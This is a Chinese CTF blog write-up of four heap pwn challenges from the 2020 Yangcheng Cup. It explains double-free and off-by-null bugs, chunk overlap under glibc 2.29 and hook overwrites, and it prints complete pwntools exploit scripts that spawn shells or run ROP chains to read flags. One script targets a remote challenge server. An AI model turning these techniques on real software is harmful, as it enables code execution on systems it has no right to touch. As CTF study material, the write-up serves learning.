2020羊城杯

字数统计: 3.9k字   |   阅读时长≈ 19分

2020羊城杯 PWN题。

Sign_in

程序分析

image-20201005080326229

删除函数中，存在一个 doubel free漏洞，释放后没有将该处指针清空。

利用分析

首先申请一个大于 fastbin的块，并释放到unsortedbin中，然后申请一个小的堆块，并覆盖其低位，泄露libc地址；

然后使用 double free漏洞修改malloc_hooK 来 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./sign_in')
    elf = ELF('./sign_in')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc.so.6')

gadgets = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def Add(size, name, message):
    p.recvuntil('Your choice : ')
    p.sendline(str(1))
    p.recvuntil('size of the game\'s name: ')
    p.sendline(str(size))
    p.recvuntil('game\'s name:')
    p.sendline(name)
    p.recvuntil('game\'s message:')
    p.sendline(message)

def Show():
    p.recvuntil('Your choice : ')
    p.sendline(str(2))


def Delete(idx):
    p.recvuntil('Your choice : ')
    p.sendline(str(3))    
    p.recvuntil('game\'s index:')
    p.sendline(str(idx))

def pwn():
    Add(160, 'a', 'b')
    Add(0x60, 'a', 'b')
    Add(0x60, 'a', 'b')
    #Add(0x60, 'a', 'b')
    Delete(0)
    Add(36, '', 'b')
    Show()
    #gdb.attach(p)
    p.recvuntil('Game[3]\'s name :')
    libc_addr = u64(p.recv(10)[:6].ljust(8, '\x00'))
    libc_base = libc_addr - 0x3c4b0a
    print 'libc_base:',hex(libc_base)
    print 'libc_addr:',hex(libc_addr)
    malloc_hook = libc_base + 0x3c4b10
    print 'malloc_hook:',hex(malloc_hook)
    gadget = gadgets[1] + libc_base
    print 'gadget:',hex(gadget)

    fake_chunk = malloc_hook - 0x23
    Delete(1)
    Delete(2)
    Delete(1)
    Add(0x60, p64(fake_chunk), 'c')
    Add(0x60, 'a', 'b')
    Add(0x60, 'c', 'd')
    payload = 'a'*0x13 + p64(gadget)
    Add(0x60, payload, 'd')
    p.recvuntil('Your choice : ')
    p.sendline(str(1))

    p.interactive()

pwn()

baby_pwn

程序分析

image-20201005093625159

整体逻辑和上一题一样，不过这题没有了输出函数，需要我们自己想办法输出泄露地址。在 delete 函数中，仍然存在一个 double free 漏洞。

利用分析

  1. 泄露Libc地址

由于没有了输出函数，所以必须自己构造输出。可以先使用构造一个大的chunk，然后释放将其放入unsortedbin中，然后申请一个 0x60的 chunk0 划分该块。那么重新申请的chunk的 fd 和 bk 指针都会存储 main_arena+88 的地址，我们修改其fd 指针的 后两位为 \x25\xdd，使其有 1/16的几率碰撞到 stdout 结构体。

然后我们构造一个 double free 漏洞，chunk1->chunk2->chunk1，修改 chunk1 的fd 指针指向我们上面 构造的chunk0，随后再申请就可以成功分配到 stdout 结构体，我们修改 stdout 结构体的内容。就可以成功泄露出 Libc 地址。

  1. getshell

有了 libc 地址后，我们就可以使用我们上一题一致的 getshell的方法了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./babypwn')
    elf = ELF('./babypwn')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc.so.6')

gadgets = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def Add(size, name, message):
    p.recvuntil('Your choice : ')
    p.sendline(str(1))
    p.recvuntil('size of the game\'s name: ')
    p.sendline(str(size))
    p.recvuntil('game\'s name:')
    p.send(name)
    p.recvuntil('game\'s message:')
    p.sendline(message)

def Delete(idx):
    p.recvuntil('Your choice : ')
    p.sendline(str(2))    
    p.recvuntil('game\'s index:')
    p.sendline(str(idx))

def pwn():
    Add(0x20, 'a', 'b')	#0
    Add(0x60, 'a', 'b') #1
    Add(0x60, 'a', 'b') #2
    Add(0x60, 'a', 'b')	#3	
    Add(0x20, 'c', 'd') #4
    Delete(2)
    #gdb.attach(p)
    #gdb.attach(p)
    p.recvuntil('Your choice : ')
    p.sendline('1')
    p.recvuntil('size of the game\'s name: ')

    p.sendline('0'*0x400)
    Delete(0)   
    Add(0x60, '\xdd\x25', 'a')  #5, 2
 
    Delete(1)
    Delete(3)
    Delete(1)
    #gdb.attach(p)
    Add(0x60, '\x30', 'e')  #6, 1
    Add(0x60, 'a', 'e') #7, 3
    Add(0x60, 'a', 'e') #8, 1
    Add(0x60, 'a', 'e')	#9, 2
    payload = 'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
    #Add(0x60, payload, 'e') #9, stdout
    p.recvuntil('Your choice : ')
    p.sendline(str(1))
    p.recvuntil('size of the game\'s name: ')
    p.sendline(str(0x60))
    p.recvuntil('game\'s name:')
    p.send(payload)
    libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    libc_base = libc_addr - 0x3c5600
    print 'libc_base:',hex(libc_base)
    print 'libc_addr:',hex(libc_addr)
    malloc_hook = libc_base + 0x3c4b10
    #free_hook = libc_base + libc.sym['__free_hook']
    gadget = gadgets[3] + libc_base
    print 'malloc_hook',hex(malloc_hook)
    p.recvuntil('game\'s message:')
    p.sendline('a')
    Add(0x60, 'a', 'b')	#11
    Delete(5)
    Delete(11)
    Delete(5)
    Add(0x60, p64(malloc_hook -0x23), 'a')  #11, 4
    Add(0x60, 'a', 'b') #12, 10
    Add(0x60, 'a', 'b') #13, 4
    payload = 'a'*0x13 + p64(gadget)
    Add(0x60, payload, 'a') #14
    p.recvuntil('Your choice : ')
    p.sendline(str(1))  
    p.interactive()

i = 0
while 1:
    i += 1
    log.warn(str(i))
    try:
        pwn()
    except Exception:
        p.close()
        p = process('./babypwn')
        continue

easy_heap

glibc是 2.29版本的，我们首先需要学习一点 glibc 2.29利用的前置知识。下面的知识点主要参考 这篇文章 总结而得。

2.29 chunk_overlap

2.29 下 对于 chunk_overlap 经常使用到的前向合并，增加了一个检测：

1
2
3
4
5
6
7
8
9
/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
    unlink_chunk (av, p);
}

其 检测了 prev_size 和前一块的 size值。对于 2.29 以前的版本，仅仅通过 prev_size找到前一个堆块，并没有这一步检测。而增加这步检测后，如果我们想直接更改 size 是十分困难的。但是，可以转变思路，在 heap 里伪造一个前向的 fake chunk，使其 size = fake prev_size，不过 前向合并时 还有一个检测：

就是前向合并时，会对前一块进行 unlink，里面的检测：

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);

所以我们还需要伪造 前一块 P 的 FD块的 bk指针指向 P，BK 的 fd 指针指向 P。

为了达成这种伪造，可以充分利用 glibc 里 malloc 的分配技巧 和 free 时的数据残留，感觉这种利用方式对 glibc 的各种机制已经利用的极其深入，太优秀了。

本处结合本题，来说明如何绕过：

部署堆布局

由于程序中，存在一个 off-by-null，会在我们的输入结束处都增加一个 '\x00'，所以我们首先需要将我们的 large chunk部署到 后两位为 0x00xx，为什么倒数第二字节必须是 0x00，是因为这样我们修改最后一字节来伪造地址时，off-by-null 漏洞覆盖倒数第二字节为 '\x00' 对我们的地址不影响。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for i in range(7): # 0-6
    add(0x1000)
 
add(0x1000-0x410) # 7

for i in range(7): # 8-14
    add(0x28)

add(0xb20) # 15
add(0x10) # 16

delete(15)

add(0x1000) # chunk15 to largebin

由于，此处我的docker 环境启动的时候忘记开启 priveleged 模式了，导致没法关闭系统 ASLR，所以我下面部署的堆地址倒数第二字节并非是 '\x00'。但是除了最后结果会有影响外，其余整个部署过程并无差异。所以，就直接演示了。

刚开始 8个块都是为了将 chunk15 的倒数第二字节布置为 '\x00'，堆喷操作。

然后申请的 chunk8到chunk14，都是后面为了防止 tcache干扰 会用到的填充chunk。

chunk15 是我们将会使用到的 chunk，其释放后首先会存在于 unsortedbin中，所以需要再申请一个 size 超过他的 chunk，使其被放入largebin中。被放入 largebin中后，其fd、bk、fd_nextsize 和 bk_nextsize 都会有值。如下图所示：

image-20201006082130513

由于该 lagerbins 链表中只有一个 chunk，所以其 fd_nextsize 和 bk_nextszie 都会指向自身。而 fd 和 bk 指针则会指向 largebins 链表头。

部署fake_chunk 的 size和fd指针

然后，我们就需要划分上面的 large chunk，并布置我们的fake chunk 的size 和fd 指针：

1
2
add(0x28) # idx:17 get a chunk from largebin
edit(17, p64(0) + p64(0x521) + p8(0x40))

申请一个 chunk，该chunk 会直接从 large chunk 中划分，然后我们布置 fake_chunk的size 为 0x521，并且将其 fd 指针指向 0x40 的位置，也就是物理相邻的下一块：

image-20201006082459481

此时，fake_chunk 的 fd 指针指向其物理相邻的下一块，bk指针指向其物理相邻的上一块。接下来我们就要在 物理相邻的下一块BK 和上一块FD上 构造 fd 和 bk指针。

构造 FD 的bk指针

构造 FD 也就是上图以 0x40 结尾的块的 bk指针，首先我们需要在FD 指针的 bk位置处放入一个堆地址，然后覆盖这个堆地址的最后一字节来将 为 ‘\20’，来将这个 bk指针指向 fake_chunk。我们使用 smallbin 取堆块时，取得堆块的 bk处会残留堆地址的原理，来伪造我们需要的bk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
add(0x28) # 18
add(0x28) # 19
add(0x28) # 20
add(0x28) # 21
 
# fill in tcache_entry[1](size: 0x30)
for i in range(7): # 8-14
    delete(8 + i)
 
delete(20)
delete(18)
 
# clear tcache_entry[1](size: 0x30)
for i in range(7): # 8-14
    add(0x28)
 
# fastbin to smallbin
add(0x400) #18

首先需要继续在我们之前的 large chunk中划分堆块，此处的 chunk 18 即是 0x40 结尾的 FD堆块。然后填满对应size的tcache，然后依次释放 chunk20，chunk18，此时这两块都会被放入 fastbin中，链表为：chunk18->chunk20

image-20201006083251014

接着，我们再将tcache清空，随后申请一个超过 smallbin 的chunk，此时 fastbin中的 chunk会被反过来放入 smallbin中，链表为：chunk20->chunk18。smallbin是通过bk指针从链表尾开始取堆块。

image-20201006083713084

1
2
3
4
# get a chunk from smallbin , another smallbin chunk to tcache
# 20, change fake chunk's fd->bk to point to fake chunk
add(0x28)
edit(20, p64(0) + p8(0x20))

最后，从smallbin中取出 FD chunk，并且修改其 bk 指针的 最后一字节为 ‘\x20’，使其指向 fake_chunk：

image-20201006084201332

构造 BK 的fd指针

接下来，是对 BK 的 fd 指针构造，BK 按照我们之前的构造 是 0x10 结尾的块，根据上图我们可以看到其 fd 指针，其实也就是 fake_chunk 的 fd指针处。此时还为全 0。同 上一步的原则一样，我们首先需要在此处布置上一个 堆地址，然后修改其 最后一字节 使其指向 fake_chunk。此处，利用的是 fastbin 会在 fd 处残留 堆指针，不用 tcache 的原因是在 2.29以后 tcache 会在 bk处加上一个 key，这样会破坏我们之前构造的 fake size。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# clear chunk from tcache
add(0x28) # 21
 
for i in range(7): # 8-14
    delete(8 + i)
 
# free to fastbin
delete(19)
delete(17)
 
for i in range(7): # 8-14
    add(0x28)
 
# change fake chunk's bk->fd
add(0x28)
edit(17, p8(0x20))

首先将 之前遗留的 smallbin 清空和 tcache填满，最后依次释放 chunk19 和 chunk17(fake_chunk)，此时两个chunk 都会进入 fastbin中，链表为：chunk17->chunk19。我们再将tcache 清空。再申请 chunk17(fake_chunk)，此时 fake_chunk 的 fd 处还残留着 chunk 19 的地址。我们修改其最后一字节为 0x20，即可完成伪造。

image-20201006085101973

image-20201006085210212

chunk overlap

经过前面的伪造，我们已经成功伪造了 fake_chunk 的size，和 FD、BK块，他们能够成功满足以下unlink 检测。

1
2
FD->bk = P
BK->fd = P

image-20201006090132537

紧接着，我们就只需要在fake_chunk 的后面，伪造 fake_prev_size 为 0x520，通过 off-by-null 修改堆头的 prev_inuse 为 0。然后释放堆块，即可完成 chunk_overlap。

1
2
3
4
5
6
7
8
9
10
11
add(0x28) # 23 overwrite
add(0x5f8) # 24 trigger off-by-null
add(0x100) # 25
 
delete(23)
 
# off-by-null   
add(0x28)
edit(23, "a"*0x20 + p64(0x520))
# trigger
delete(24)

image-20201006090432108

程序分析

image-20201005122902636

在 edit 函数中，存在一个 off-by-null 漏洞。给的环境就是 2.29的。

image-20201011201000734

开了沙箱，不能够执行 execve，只能够执行 orw链。

利用分析

  1. chunk overlap泄露地址

利用上面所讲的 2.29下的 方法实现 chunk overlap，然后就可以泄露出 libc 地址。

  1. orw链读取 flag

此处还是运用传统的 setcontext函数调用 sigframe然后去执行 ROP 链。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./easy_heap')
    elf = ELF('./easy_heap')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc_so.6')

def menu(ch):
    p.sendlineafter('Choice:',str(ch))

def add(size):
    menu(1)
    p.sendlineafter('Size: ',str(size))

def edit(index,content):
    menu(2)
    p.sendlineafter('Index:',str(index))
    p.sendafter('Content:',content)

def delete(index):
    menu(3)
    p.sendlineafter('Index:',str(index))

def show(index):
    menu(4)
    p.sendlineafter('Index:',str(index))

def pwn():
    #gdb.attach(p)
    #
    for i in range(7): # 0-6
        add(0x1000)
 
    add(0x1000-0x410) # 7

    for i in range(7): # 8-14
        add(0x28)

    add(0xb20) # 15 0x10
    add(0x10) # 16 0xb40

    delete(15)  #0x10

    add(0x1000) # chunk15 to largebin
 
    add(0x28) # idx:17 get a chunk from largebin 0x10
    edit(17, p64(0) + p64(0x521) + p8(0x40))
    
    add(0x28) # 18 0x40
    add(0x28) # 19 0x70
    add(0x28) # 20 0xa0
    add(0x28) # 21 0xd0
 
    # fill in tcache_entry[1](size: 0x30)
    for i in range(7): # 8-14
        delete(8 + i)
 
    delete(20) #0xa0
    delete(18) #0x40
 
    # clear tcache_entry[1](size: 0x30)
    for i in range(7): # 8-14
        add(0x28)
 
    # fastbin to smallbin
    add(0x400) #18 0x4d0
 
    # get a chunk from smallbin , another smallbin chunk to tcache
    # 20, change fake chunk's fd->bk to point to fake chunk
    add(0x28) #0x40
    edit(20, p64(0) + p8(0x20))

    # clear chunk from tcache
    add(0x28) # 22 0x500
 
    for i in range(7): # 8-14
        delete(8 + i)
 
    # free to fastbin
    delete(19) #0x70
    delete(17) #0x10
 
    for i in range(7): # 8-14
        add(0x28)
 
    # change fake chunk's bk->fd
    add(0x28) #17 0x10
    edit(17, p8(0x20))
    add(0x28) #19 0x70
 
    add(0x28) # 23 overwrite 0x530
    add(0x5f8) # 24 trigger off-by-null 0x540
    add(0x100) # 25
 
    delete(23) #0x530
    gdb.attach(p, 'bp $rebase(0x1866)')
    # off-by-null   
    add(0x28) #23
    edit(23, "a"*0x20 + p64(0x520))
    # trigger
    delete(24) #0x540

    # leak
    add(0x40) #0x20 chunk_24
    show(19) #0x70
    libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))-0x1e4ca0
    print 'libc_base:',hex(libc_base)
    free_hook = libc_base + libc.sym['__free_hook']
    print 'free_off:',hex(libc.sym['__free_hook'])
    print 'free_hook:',hex(free_hook)
    setcontext = libc_base + libc.sym['setcontext']
    print 'setcontext:',hex(setcontext)

    add(0x28)   #0x70 chunk26=chunk19
    add(0x28)   #0xa0 chunk27

    delete(8)   
    delete(19)

    show(26) #0x10
    heap_addr = u64(p.recvuntil('[+]', drop=True)[-6:].ljust(8, '\x00')) - 0x7ed0
    print 'heap_base:',hex(heap_addr)

    #add(0x28) #0x70 chunk_26 = chunk19
    #add(0x28) #0xa0 chunk27

    #tcache poisoning
    #delete(8)
    #delete(19)
    edit(26, p64(free_hook))

    add(0x28) #chunk8 = chunk19
    add(0x28) #chunk19 = free_hook


    #change free_hook as magic
    # 0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
    magic = 0x00000000001547a0 + libc.address
    edit(19, p64(magic))

    edit(27, './flag') #0xa0
    pop_rdi_ret = 0x26b72 + libc_base
    pop_rsi_ret = 0x27529 + libc_base
    pop_rdx_r12_ret = 0x11c1e1 + libc_base
    pop_rax_ret = 0x4a550 + libc_base
    sys_call = libc_base + 0x2584d
    ret = libc_base + 0x25679

    flag_str_addr = heap_addr + 0x300
    flag_addr = heap_addr + 0x400
    frame_addr = heap_addr + 0x7ed0 + 0x210
    orw_addr = heap_addr + 0x7ed0 + 0x320

    orw = flat([
        pop_rdi_ret, flag_str_addr,
        pop_rsi_ret, 0,
        pop_rax_ret, 2,
        sys_call,   #open(flag_str_addr, 0)
        pop_rdi_ret, 1,
        pop_rsi_ret, flag_addr,
        pop_rdx_r12_ret, 0x40, 0,
        pop_rax_ret, 0x1,   
        sys_call,   #read(0, fd, 0x40)
        pop_rdi_ret, 1,
        pop_rsi_ret, flag_addr,
        pop_rdx_r12_ret, 0x40, 0,
        pop_rax_ret, 2,
        sys_call     #write(1, fd, 0x40)  
    ]) 

    payload = p64(0) + p64(frame_addr)
    payload += p64(0)*4 + p64(setcontext+61)
    payload += b"\x00"*(0xa0-0x28) + p64(orw_addr) + p64(ret)
    
    add(0x100) #0xd0 chunk28
    add(0x200) #0x1d0 chunk29
    raw_input()
    edit(28, payload)
    edit(29, str(orw))

    delete(28)

    p.interactive()

pwn()
i = 1
while True:
    try:
        print 'i:',hex(i)
        i += 1
        pwn()
    except:
        p.close()
        p = process('./easy_heap')
        libc = ELF('./libc.so.6')

repwn

程序分析

image-20201005142509980

delete 函数中，存在 double-free 漏洞。

image-20201005142646794

并且有一个输出函数，可以输出一个 libc 地址和 栈地址，不过是经过加密的，解密即可输出。

image-20201005142454240

开启了沙箱，禁用了 execve 函数，考虑通过 orw 来得到 flag。

利用分析

  1. 获取 libc 和 栈地址

首先对加密输出，进行解密，解密后得到 libc 地址 和 heap 地址。

  1. double_free 在栈上伪造 堆块

先通过 fastbin 的 double free 分配伪造的 堆块到栈上，然后在栈上部署 rop链。由于 程序中的 read 函数只有 0x68的长度，不够我们部署完整的 rop链，所以先调用 read 函数将我们的 rop链全都读到 栈上，然后再调用 ORW 去get flag。关于 ORW 沙箱的题 后面需要再整理一下，集中做一波题才行，太菜了。

EXP

EXP参考：https://bbs.pediy.com/thread-262024.htm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
libc = ELF("repwn").libc
#p = process("./repwn")
p = remote("183.129.189.60","10035")
context.arch = 'amd64'
def add(size,data):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil("?")
    p.sendline(str(size))
    p.sendline(data)
def free(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil("?")
    p.sendline(str(idx))
def leak(data):
    p.recvuntil(":")
    p.sendline("2")
    p.sendline(data)
def dec(res):
    v5=[51,18,120,36]
    v9=9
    v7=0x26a77aaa
    while v9>0: 
        v10 = (v7 >> 2) & 3
        for i in range(15,-1,-1):
            v6 = res[(i-1+16)%16]
            res[i] -= (((v6 >> 7) ^ 8 * res[(i + 1)%16]) + ((res[(i + 1)%16] >> 2) ^ 32 * v6) - 33) ^ ((res[(i + 1)%16] ^ v7 ^ 0x57)+ (v6 ^ v5[v10 ^ i & 3])+ 63)
            res[i]&=0xff
        v7 -= 0x76129BDA
        v7&=0xffffffff
        v9-=1
leak("\n")
a = p.recv(0x10)
b = []
for i in range(len(a)):
    b.append(a[i])
dec(b)
c = ''
for i in range(len(b)):
    c += chr(b[i])
libc.address = u64(c[:8])-0x5F1A88
log.info("[*]libc_base: "+hex(libc.address))
stack = u64(c[8:])
log.info("[*]stack: "+hex(stack))
add(0x68,'b')
add(0x68,'c')
free(0)
free(1)
free(0)
pop_rdi = 0x0000000000021112 + libc.address
pop_rsi = 0x00000000000202f8 + libc.address
pop_rdx = 0x0000000000001b92 + libc.address
pop_rax = 0x000000000003a738 + libc.address
pop_rsp = 0x0000000000003838 + libc.address
syscall = 0x00000000000bc3f5 + libc.address
add(0x68,p64(stack - 0xf3))
add(0x68,'d')
add(0x68,'e')
payload1 = b'\x00'*0x3
payload1 += p64(pop_rdx)
payload1 += p64(0x100)
payload1 += p64(pop_rax)
payload1 += p64(0)
payload1 += p64(syscall)
payload1 += p64(pop_rdi)
payload1 += p64(0)
payload1 += p64(pop_rsi)
payload1 += p64(stack-0xa8)
payload1 += p64(pop_rsp)
payload1 += p64(stack-0xe0)
add(0x68,payload1)
payload2 = b''
payload2 += flat([pop_rdi, stack+0x30, pop_rsi, 4, pop_rdx, 4, pop_rax, 2, syscall])#open
payload2 += flat([pop_rdi, 3, pop_rsi, stack+0x100, pop_rdx, 0x100, pop_rax, 0, syscall])#read
payload2 += flat([pop_rdi, 1, pop_rsi, stack+0x100, pop_rdx, 0x100, pop_rax, 1, syscall])#write
payload2 += b'./flag\x00'
#gdb.attach(p,'b *'+hex(pop_rdi))
p.sendline(payload2)
p.interactive()

参考

https://bbs.pediy.com/thread-257901.htm

https://bbs.pediy.com/thread-262024.htm

https://www.lyyl.online/2020/09/11/2020-%E7%BE%8A%E5%9F%8E%E6%9D%AF-%E9%83%A8%E5%88%86PWN-WrieUp/````

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing